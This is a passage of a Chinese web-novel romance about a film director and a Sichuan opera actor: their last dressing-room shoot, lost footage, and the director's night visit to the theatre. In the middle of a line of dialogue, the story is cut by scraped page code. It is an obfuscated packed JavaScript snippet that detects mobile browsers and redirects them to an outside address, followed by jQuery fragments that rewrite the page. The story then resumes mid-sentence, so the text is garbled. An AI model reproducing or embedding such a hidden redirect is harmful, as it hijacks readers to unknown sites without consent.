窗外隐约传来观众散场的喧闹，道具组哐当哐当收拾舞台的声响，还有个龙套哼着不成调的川剧从走廊经过。


    整个世界都在往前走着，只有他俩，被留在了这个弥漫着化妆品香味的小房间里。像两个不肯走的魂，固执地守着五年前就该散场的戏。


    李霄川弯腰捡起地上的戏带，金属扣在他手心勒出一道深红的印子。他直起身，额前的碎发垂下来，遮住了眼睛。


    “最后一次拍摄，是吧？”他抬起头，眼神已经平静了下来，“拍吧，拍完……就别再来了。”


    陈声和慢慢举起了摄像机。


    取景框里，李霄川站在破碎的镜子前，身后是衣架上层层叠叠挂着的戏服，在昏黄的灯光下，像座华丽又逃不出去的牢笼。


    李霄川背对着他，肩膀的线条绷得极紧，戏服下的肌肉轮廓清晰可见。他的手垂在身侧，手指还沾着未擦净的油彩，红黑相间，在灯光仿佛血迹。


    那条红绸带还松松垮垮系在他腰上，边儿都磨得起毛了，颜色倒还是鲜亮亮的，一看就知道被人当宝贝似的护着。


    “……还给你。”


    李霄川突然出声，嗓子哑得厉害。他抬手一把扯开腰间的结，绸带滑下来，被他紧紧攥在手心里。


    他顿了一下，像是在犹豫，然后才将绸带递向陈声和。


    陈声和的目光落在李霄川的手上，那双手指节分明，却布满了细小的伤痕，有练功时留下的茧子，也有勾脸时被画笔划破的旧疤。


    这个人从来都把自己养得很粗糙，对自己喜欢的人和东西，却又呵护得仿佛在养温室里的花朵。


    而现在，这只手捏着他们的过去，悬在空气里，微微发颤。


    “拿着。”李霄川的声音更冷了，带着强硬。


    陈声和缓慢抬起手，手指碰到绸带的瞬间，李霄川却猛地收紧了手指。


    两人的手隔着绸带相抵，谁都没松开。


    化妆镜的灯泡滋滋响了两声，在李霄川脸上晃了晃，随后苟延残喘的灭了。他低着眼，睫毛在脸颊投下一小片阴影，嘴角却绷得紧紧的。


    陈声和能感觉到绸带上还留着一点温度。


    “……为什么还留着？”他轻声问。


    “忘了扔。”李霄川松开手，转身去拿卸妆棉，语气故意放得很轻，“毕竟陈导以前教过，道具得保管好。”


    绸带彻底落入陈声和掌心，轻得犹如一片落叶。


    他低头看，忽然发现内侧绣着一行小字：声和 2018。


    是他的笔迹。


    可他压根不记得自己绣过这个。


    “你……”


    陈声和抬头，看见李霄川正对着镜子，使劲擦脸上的油彩。红红黑黑的颜色掺着卸妆油晕开，像融化的蜡油，沿着下巴滴在雪白的戏服领口。


    “怎么？”李霄川从镜子里瞥他，“发现我乱改你的东西了？”


    陈声和攥紧绸带：“……什么时候绣的？”


    卸妆棉被狠狠扔进垃圾桶。


    “分手那天。”李霄川脸上没什么表情，“你上飞机之后，我拿着它去绣坊，求老板娘教我的。”


    他转过身，脸上没擦干净的红痕像哭过一样：“挺好笑的吧？你人都走了，我还在给你的东西上绣名字。”


    “我……”他的声音哽住，“我不知道。”


    李霄川静静地看着他：“现在你知道了。”


    话罢他背对着陈声和继续卸妆。油彩一点点擦干净，彻底露出原本的皮肤。


    陈声和沉默地扶住摄像机，按下停止键。


    镜头里最后的画面里，李霄川的脊背挺得笔直，肩膀上的旧伤疤从衣领边缘露了出来。


    最后一点妆卸干净了，李霄川问他：“可以了吗？”


    “……嗯。”


    他转过身，脸上终于清清爽爽，什么颜色也没有了：“那再见，陈导。”


    陈声和站在原地，看着他推门走出去。


    花絮摄像机还在转，录下空无一人的化妆间……和那条被忘在椅子上的红绸带。


    ……


    李陈声和在成都搞了个工作室，这事儿连跟他合作好些年的制片都蒙在鼓里。


    这地方他两年前就弄好了，可一直没启用过。团队平时都是跟着他到处跑，这次回成都才算真正派上用场。


    护目镜上反着电脑屏幕的蓝光，把他眼睛藏在一片幽幽的影子里。


    他手指头一开始只是在键盘边沿轻轻点着，后来越点越快，指甲冷不丁磕在金属键帽上，发出一声清响。


    进度条已经来回拖了几遍，最后三分钟的素材依旧是一片黑场，本该是李霄川卸妆的镜头，却连一帧有效画面都没有了。


    “林瑶。”他头也不抬地问，“素材组是不是漏传了？”


    隔壁调色间的门被推开，林瑶捏着一沓场记单探出身，鬓角的碎发还别着几枚彩色标记夹。


    “不可能啊，李老师那部分的备份我亲自对的。”她小跑过来，弯腰时马尾辫扫过陈声和的肩膀，“导演，那天不是你亲自掌镜的吗？”


    陈声和没回答，只是点开素材库，输入“LI_XIAOCHUAN_D35_TAKE47”，李霄川的个人文件夹倒是整整齐齐的，偏偏少了最后那天卸妆的镜头。


    “怎么会没了呢……”他低声嘟囔，更像在问自己。


    现在可好，成片明天就要送审，技术部那边催命似的，最关键的三分钟却掉了链子，那个本该是李霄川彻底卸下伪装、直面镜头的瞬间，现在成了个黑洞。


    林瑶犹豫了一下，点开另一个文件夹：“要不……先用这个顶一下？”


    屏幕上跳出来一段没归档的素材。画面里李霄川靠在化妆台边，拿着湿纸巾擦脸。顶灯把他侧脸切成明暗两半，油彩在纸巾上晕开浑浊的色块。


    陈声和盯着画面，摇头：“不行。”


    林瑶小声说：“观众不会在意的，反正都是卸妆……”


    “《脸》的结尾必须是完整的他。”陈声和关掉文件，带着些许疲惫，“没有剪辑，没有错位，没有……躲闪。”


    林瑶张了张嘴，看着他绷得紧紧的下巴，最后还是把话咽了回去。她翻开通讯录，手指在李老师的名字上悬了半天，最后还是滑到了剧团办公室的电话。


    “要不我问问剧团？说不定他们有演出……”


    陈声和已经站起身，抓起搭在椅背上的外套。袖口掠过键盘，碰倒了插着枯枝的玻璃瓶。


    “导演？”


    “我去找他。”


    林瑶追到门口，夜风呼呼地往走廊里灌。她看见陈声和把车钥匙攥得死紧，钥匙齿硌在虎口上，压出几道红印子。


    “现在？都这么晚了，万一他已


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005911|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    经……”


    “他会在。”


    陈声和没解释这份笃定从何而来。也许是大学时李霄川为了帮他赶作业，在剪辑室通宵三天的旧事。


    也许是三天前离开时，余光瞥见那人捏着场记单站在雨棚下，衬衫袖口沾着没擦净的油彩，像一抹褪色的晚霞。


    林瑶看着他背影，突然想起来：“等等！咱们都不知道李老师现在住哪儿，我先问问剧团……”


    “剧场后头那栋老宿舍楼。”陈声和一步迈下台阶，“二楼最里头那间……”


    这话说得太顺口，两人都愣了一下。


    夜风把林瑶那句“这您都知道？”吹散了，陈声和的背影已经融进成都湿漉漉的夜色里，越走越远。


    ……


    门外，成都的冬夜湿冷刺骨，风卷着零星雨丝扑在脸上。


    陈声和缩了缩脖子，冰凉的雨丝钻进衣领，让他想起五年前离开时也是这样的天气。


    成都的雨就是这样，霸道又温柔。那天他在机场，对方压抑的呼吸声在耳边响起：“你真的要走？”


    而他说：“嗯。”


    他记得自己当时攥着登机牌的手在发抖，却还是用最平静的语气给出了这个单音节的回答。


    没有解释，没有犹豫，甚至没敢说一句“再见”，就像害怕多一个字都会让决心崩塌。


    现在，他站在剧院后门的巷子里，手里攥着车钥匙。补拍通知单就揣在兜里，上面还沾着刚才在剪辑室打翻的水渍。


    他盯着那扇贴着“闲人免进”的铁门，突然不确定自己这趟来到底是为了工作，还是……


    还是仅仅想再看他一眼。


    川剧院后台走廊尽头的化妆间亮着一线光，隐约能听见布料摩擦的窸窣声。


    陈声和站在门外，抬起的手悬在半空。指节离门板只有一寸距离，却像隔着五年的时光。


    他本该让林瑶打电话，公事公办地通知李霄川补拍镜头，然后让助理去处理后续。


    可他就是不愿意……陈声和很清楚自己在干什么。


    门内传来一声轻响，像头面被搁在桌面的声音。


    他第一次来后台找李霄川时，也是这样的声音。


    那时他还是个举着学生证蹭拍作业的大学生，而李霄川会故意把盔头弄出响声，好让他找到位置。


    灯泡的光从门缝漏出来，在地砖上投下一道不断闪烁的光带。


    陈声和深吸一口气，推开了门。


    化妆镜前的灯泡亮得刺眼，那些坏了的灯泡临走前，是他让场务帮忙全部换上的。


    李霄川背对着门，正在拆头面上的水纱，今天的演出已经结束了。铜镜里映出他半边侧脸，油彩被汗水晕开，眼尾的胭脂红仿佛哭过的痕迹。


    他听见门响，手上动作停了一瞬，却没回头。


    “陈导有事？”李霄川声音轻轻的，手里镊子夹着水纱，一寸一寸往下揭。


    他动作娴熟，和台上表演变脸时一样，只是这次揭下的不是脸谱，而是角色与现实的界限。


    陈声和目光往下落，停在李霄川敞开的戏服上。


    白蟒袍的衣襟松松散散地敞着，露出里头那件被汗浸得半透的水衣，白水衣贴在他胸前，几乎能看到底下的轮廓。


    领口那儿有一道不自然的褶子，像是被人用力扯开过，又慌里慌张地随手拢好。